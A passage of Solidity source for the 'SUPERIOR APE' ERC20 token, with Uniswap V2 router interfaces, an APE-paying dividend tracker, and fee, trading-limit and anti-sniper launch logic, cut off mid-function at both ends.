) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DividendPayingToken is DividendPayingTokenInterface, DividendPayingTokenOptionalInterface, Ownable {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SafeMathInt for int256;
// With `magnitude`, we can properly distribute dividends even if the amount of received ether is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
mapping(address => uint256) internal magnifiedDividendPerShare;
address[] public rewardTokens;
address public nextRewardToken;
uint256 public rewardTokenCounter;
IUniswapV2Router02 public immutable uniswapV2Router;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => mapping(address => int256)) internal magnifiedDividendCorrections;
mapping(address => mapping(address => uint256)) internal withdrawnDividends;
mapping (address => uint256) public holderBalance;
uint256 public totalBalance;
mapping(address => uint256) public totalDividendsDistributed;
constructor(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // router 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
uniswapV2Router = _uniswapV2Router;
// Mainnet
rewardTokens.push(address(0x4d224452801ACEd8B2F0aebE155379bb5D594381)); // APE - 0 0x4d224452801ACEd8B2F0aebE155379bb5D594381
nextRewardToken = rewardTokens[0];
}
/// @dev Distributes dividends whenever ether is paid to this contract.
receive() external payable {
distributeDividends();
}
/// @notice Distributes ether to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0.
/// About undistributed ether:
/// In each distribution, there is a small amount of ether not distributed,
/// the magnified amount of which is
/// `(msg.value * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed ether
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed ether in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved ether, so we don't do that.
function distributeDividends() public override payable {
require(totalBalance > 0);
uint256 initialBalance = IERC20(nextRewardToken).balanceOf(address(this));
buyTokens(msg.value, nextRewardToken);
uint256 newBalance = IERC20(nextRewardToken).balanceOf(address(this)).sub(initialBalance);
if (newBalance > 0) {
magnifiedDividendPerShare[nextRewardToken] = magnifiedDividendPerShare[nextRewardToken].add(
(newBalance).mul(magnitude) / totalBalance
);
emit DividendsDistributed(msg.sender, newBalance);
totalDividendsDistributed[nextRewardToken] = totalDividendsDistributed[nextRewardToken].add(newBalance);
}
rewardTokenCounter = rewardTokenCounter == rewardTokens.length - 1 ? 0 : rewardTokenCounter + 1;
nextRewardToken = rewardTokens[rewardTokenCounter];
}
// useful for buybacks or to reclaim any BNB on the contract in a way that helps holders.
function buyTokens(uint256 bnbAmountInWei, address rewardToken) internal {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = rewardToken;
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: bnbAmountInWei}(
0, // accept any amount of Ethereum
path,
address(this),
block.timestamp
);
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function withdrawDividend(address _rewardToken) external virtual override {
_withdrawDividendOfUser(payable(msg.sender), _rewardToken);
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user, address _rewardToken) internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableDividendOf(user, _rewardToken);
if (_withdrawableDividend > 0) {
withdrawnDividends[user][_rewardToken] = withdrawnDividends[user][_rewardToken].add(_withdrawableDividend);
emit DividendWithdrawn(user, _withdrawableDividend);
IERC20(_rewardToken).transfer(user, _withdrawableDividend);
return _withdrawableDividend;
}
return 0;
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner, address _rewardToken) external view override returns(uint256) {
return withdrawableDividendOf(_owner, _rewardToken);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner, address _rewardToken) public view override returns(uint256) {
return accumulativeDividendOf(_owner,_rewardToken).sub(withdrawnDividends[_owner][_rewardToken]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner, address _rewardToken) external view override returns(uint256) {
return withdrawnDividends[_owner][_rewardToken];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner, address _rewardToken) public view override returns(uint256) {
return magnifiedDividendPerShare[_rewardToken].mul(holderBalance[_owner]).toInt256Safe()
.add(magnifiedDividendCorrections[_rewardToken][_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that increases tokens to an account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _increase(address account, uint256 value) internal {
for (uint256 i; i < rewardTokens.length; i++){
magnifiedDividendCorrections[rewardTokens[i]][account] = magnifiedDividendCorrections[rewardTokens[i]][account]
.sub((magnifiedDividendPerShare[rewardTokens[i]].mul(value)).toInt256Safe());
}
}
/// @dev Internal function that reduces an amount of the token of a given account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _reduce(address account, uint256 value) internal {
for (uint256 i; i < rewardTokens.length; i++){
magnifiedDividendCorrections[rewardTokens[i]][account] = magnifiedDividendCorrections[rewardTokens[i]][account]
.add( (magnifiedDividendPerShare[rewardTokens[i]].mul(value)).toInt256Safe() );
}
}
function _setBalance(address account, uint256 newBalance) internal {
uint256 currentBalance = holderBalance[account];
holderBalance[account] = newBalance;
if(newBalance > currentBalance) {
uint256 increaseAmount = newBalance.sub(currentBalance);
_increase(account, increaseAmount);
totalBalance += increaseAmount;
} else if(newBalance < currentBalance) {
uint256 reduceAmount = currentBalance.sub(newBalance);
_reduce(account, reduceAmount);
totalBalance -= reduceAmount;
}
}
}
contract DividendTracker is DividendPayingToken {
using SafeMath for uint256;
using SafeMathInt for int256;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(address key) private view returns (uint) {
return tokenHoldersMap.values[key];
}
function getIndexOfKey(address key) private view returns (int) {
if(!tokenHoldersMap.inserted[key]) {
return -1;
}
return int(tokenHoldersMap.indexOf[key]);
}
function getKeyAtIndex(uint index) private view returns (address) {
return tokenHoldersMap.keys[index];
}
function size() private view returns (uint) {
return tokenHoldersMap.keys.length;
}
function set(address key, uint val) private {
if (tokenHoldersMap.inserted[key]) {
tokenHoldersMap.values[key] = val;
} else {
tokenHoldersMap.inserted[key] = true;
tokenHoldersMap.values[key] = val;
tokenHoldersMap.indexOf[key] = tokenHoldersMap.keys.length;
tokenHoldersMap.keys.push(key);
}
}
function remove(address key) private {
if (!tokenHoldersMap.inserted[key]) {
return;
}
delete tokenHoldersMap.inserted[key];
delete tokenHoldersMap.values[key];
uint index = tokenHoldersMap.indexOf[key];
uint lastIndex = tokenHoldersMap.keys.length - 1;
address lastKey = tokenHoldersMap.keys[lastIndex];
tokenHoldersMap.indexOf[lastKey] = index;
delete tokenHoldersMap.indexOf[key];
tokenHoldersMap.keys[index] = lastKey;
tokenHoldersMap.keys.pop();
}
Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public immutable minimumTokenBalanceForDividends;
event ExcludeFromDividends(address indexed account);
event IncludeInDividends(address indexed account);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() {
claimWait = 1200;
minimumTokenBalanceForDividends = 1000 * (10**18);
}
function excludeFromDividends(address account) external onlyOwner {
excludedFromDividends[account] = true;
_setBalance(account, 0);
remove(account);
emit ExcludeFromDividends(account);
}
function includeInDividends(address account) external onlyOwner {
require(excludedFromDividends[account]);
excludedFromDividends[account] = false;
emit IncludeInDividends(account);
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
require(newClaimWait >= 1200 && newClaimWait <= 86400, "Dividend_Tracker: claimWait must be updated to between 1 and 24 hours");
require(newClaimWait != claimWait, "Dividend_Tracker: Cannot update claimWait to same value");
emit ClaimWaitUpdated(newClaimWait, claimWait);
claimWait = newClaimWait;
}
function getLastProcessedIndex() external view returns(uint256) {
return lastProcessedIndex;
}
function getNumberOfTokenHolders() external view returns(uint256) {
return tokenHoldersMap.keys.length;
}
// Check to see if I really made this contract or if it is a clone!
// @Sir_Tris on TG, @SirTrisCrypto on Twitter
function getAccount(address _account, address _rewardToken)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
account = _account;
index = getIndexOfKey(account);
iterationsUntilProcessed = -1;
if(index >= 0) {
if(uint256(index) > lastProcessedIndex) {
iterationsUntilProcessed = index.sub(int256(lastProcessedIndex));
}
else {
uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ?
tokenHoldersMap.keys.length.sub(lastProcessedIndex) :
0;
iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray));
}
}
withdrawableDividends = withdrawableDividendOf(account, _rewardToken);
totalDividends = accumulativeDividendOf(account, _rewardToken);
lastClaimTime = lastClaimTimes[account];
nextClaimTime = lastClaimTime > 0 ?
lastClaimTime.add(claimWait) :
0;
secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ?
nextClaimTime.sub(block.timestamp) :
0;
}
function getAccountAtIndex(uint256 index, address _rewardToken)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
if(index >= size()) {
return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0);
}
address account = getKeyAtIndex(index);
return getAccount(account, _rewardToken);
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
if(lastClaimTime > block.timestamp) {
return false;
}
return block.timestamp.sub(lastClaimTime) >= claimWait;
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
if(excludedFromDividends[account]) {
return;
}
if(newBalance >= minimumTokenBalanceForDividends) {
_setBalance(account, newBalance);
set(account, newBalance);
}
else {
_setBalance(account, 0);
remove(account);
}
processAccount(account, true);
}
function process(uint256 gas) external returns (uint256, uint256, uint256) {
uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;
if(numberOfTokenHolders == 0) {
return (0, 0, lastProcessedIndex);
}
uint256 _lastProcessedIndex = lastProcessedIndex;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 claims = 0;
while(gasUsed < gas && iterations < numberOfTokenHolders) {
_lastProcessedIndex++;
if(_lastProcessedIndex >= tokenHoldersMap.keys.length) {
_lastProcessedIndex = 0;
}
address account = tokenHoldersMap.keys[_lastProcessedIndex];
if(canAutoClaim(lastClaimTimes[account])) {
if(processAccount(payable(account), true)) {
claims++;
}
}
iterations++;
uint256 newGasLeft = gasleft();
if(gasLeft > newGasLeft) {
gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));
}
gasLeft = newGasLeft;
}
lastProcessedIndex = _lastProcessedIndex;
return (iterations, claims, lastProcessedIndex);
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
uint256 amount;
bool paid;
for (uint256 i; i < rewardTokens.length; i++){
amount = _withdrawDividendOfUser(account, rewardTokens[i]);
if(amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Claim(account, amount, automatic);
paid = true;
}
}
return paid;
}
}
contract SuperiorApe is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
DividendTracker public dividendTracker;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public constant feeDivisor = 1000;
uint256 public totalSellFees;
uint256 public rewardsSellFee;
uint256 public operationsSellFee;
uint256 public liquiditySellFee;
uint256 public totalBuyFees;
uint256 public rewardsBuyFee;
uint256 public operationsBuyFee;
uint256 public liquidityBuyFee;
uint256 public tokensForRewards;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public gasForProcessing = 0;
uint256 public lpWithdrawRequestTimestamp;
uint256 public lpWithdrawRequestDuration = 3 days;
bool public lpWithdrawRequestPending;
uint256 public lpPercToWithDraw;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet);
event DevWalletUpdated(address indexed newWallet, address indexed oldWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SendDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
event RequestedLPWithdraw();
event WithdrewLPForMigration();
event CanceledLpWithdrawRequest();
constructor() ERC20("SUPERIOR APE", "$SAPE") {
uint256 totalSupply = 100 * 1e6 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap tokens amount
maxWallet = totalSupply * 1 / 100; // 1% Max wallet
rewardsBuyFee = 20;
operationsBuyFee = 60;
liquidityBuyFee = 20;
totalBuyFees = rewardsBuyFee + operationsBuyFee + liquidityBuyFee;
rewardsSellFee = 0;
operationsSellFee = 60;
liquiditySellFee = 20;
totalSellFees = rewardsSellFee + operationsSellFee + liquiditySellFee;
dividendTracker = new DividendTracker();
operationsWallet = address(msg.sender); // set as operations wallet
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from receiving dividends
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0xdead));
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(dividendTracker), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
excludeFromMaxTransaction(address(0xdead), true);
_createInitialSupply(address(owner()), totalSupply);
}
receive() external payable {
}
// only use if conducting a presale
function addPresaleAddressForExclusions(address _presaleAddress) external onlyOwner {
excludeFromFees(_presaleAddress, true);
dividendTracker.excludeFromDividends(_presaleAddress);
excludeFromMaxTransaction(_presaleAddress, true);
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// excludes wallets and contracts from dividends (such as CEX hotwallets, etc.)
function excludeFromDividends(address account) external onlyOwner {
dividendTracker.excludeFromDividends(account);
}
// removes exclusion on wallets and contracts from dividends (such as CEX hotwallets, etc.)
function includeInDividends(address account) external onlyOwner {
dividendTracker.includeInDividends(account);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
require(!tradingActive, "Cannot re-enable trading");
tradingActive = true;
swapEnabled = true;
tradingActiveBlock = block.number;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(newNum > (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum > (totalSupply() * 1 / 100)/1e18, "Cannot set maxWallet lower than 1%");
maxWallet = newNum * (10**18);
}
function updateBuyFees(uint256 _operationsFee, uint256 _rewardsFee, uint256 _liquidityFee) external onlyOwner {
operationsBuyFee = _operationsFee;
rewardsBuyFee = _rewardsFee;
liquidityBuyFee = _liquidityFee;
totalBuyFees = operationsBuyFee + rewardsBuyFee + liquidityBuyFee;
require(totalBuyFees <= 200, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _operationsFee, uint256 _rewardsFee, uint256 _liquidityFee) external onlyOwner {
operationsSellFee = _operationsFee;
rewardsSellFee = _rewardsFee;
liquiditySellFee = _liquidityFee;
totalSellFees = operationsSellFee + rewardsSellFee + liquiditySellFee;
require(totalSellFees <= 300, "Must keep fees at 30% or less");
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
emit ExcludedMaxTransactionAmount(updAds, isEx);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
require(pair != uniswapV2Pair, "The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
excludeFromMaxTransaction(pair, value);
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateOperationsWallet(address newOperationsWallet) external onlyOwner {
require(newOperationsWallet != address(0), "may not set to 0 address");
excludeFromFees(newOperationsWallet, true);
emit OperationsWalletUpdated(newOperationsWallet, operationsWallet);
operationsWallet = newOperationsWallet;
}
function updateGasForProcessing(uint256 newValue) external onlyOwner {
require(newValue >= 200000 && newValue <= 500000, " gasForProcessing must be between 200,000 and 500,000");
require(newValue != gasForProcessing, "Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed(address rewardToken) external view returns (uint256) {
return dividendTracker.totalDividendsDistributed(rewardToken);
}
function isExcludedFromFees(address account) external view returns(bool) {
return _isExcludedFromFees[account];
}
function withdrawableDividendOf(address account, address rewardToken) external view returns(uint256) {
return dividendTracker.withdrawableDividendOf(account, rewardToken);
}
function dividendTokenBalanceOf(address account) external view returns (uint256) {
return dividendTracker.holderBalance(account);
}
function getAccountDividendsInfo(address account, address rewardToken)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account, rewardToken);
}
function getAccountDividendsInfoAtIndex(uint256 index, address rewardToken)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index, rewardToken);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function getNumberOfDividends() external view returns(uint256) {
return dividendTracker.totalBalance();
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
transferDelayEnabled = false;
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Unable to exceed Max Wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// no taxes on transfers (non buys/sells)
if(takeFee){
if(tradingActiveBlock + 1 >= block.number && (automatedMarketMakerPairs[to] || automatedMarketMakerPairs[from])){
fees = amount.mul(99).div(100);
tokensForLiquidity += fees * 33 / 99;
tokensForRewards += fees * 33 / 99;
tokensForOperations += fees * 33 / 99;
}
// on sell
else if (automatedMarketMakerPairs[to] && totalSellFees > 0){
fees = amount.mul(totalSellFees).div(feeDivisor);
tokensForRewards += fees * rewardsSellFee / totalSellFees;
tokensForLiquidity += fees * liquiditySellFee / totalSellFees;
tokensForOperations += fees * operationsSellFee / totalSellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && totalBuyFees > 0) {
fees = amount.mul(totalBuyFees).div(feeDivisor);
tokensForRewards += fees * rewardsBuyFee / totalBuyFees;
tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees;
tokensForOperations += fees * operationsBuyFee / totalBuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
dividendTracker.setBalance(payable(from), balanceOf(from));
dividendTracker.setBalance(payable(to), balanceOf(to));
if(!swapping && gasForProcessing > 0) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
}
catch {}
}
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForRewards;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap - (tokensForLiquidity/2));
uint256 ethForRewards = ethBalance.mul(tokensForRewards).div(totalTokensToSwap - (tokensForLiquidity/2));
uint256 ethForLiquidity = ethBalance - ethForOperations - ethForRewards;
tokensForLiquidity = 0;
tokensForOperations = 0;
tokensForRewards = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
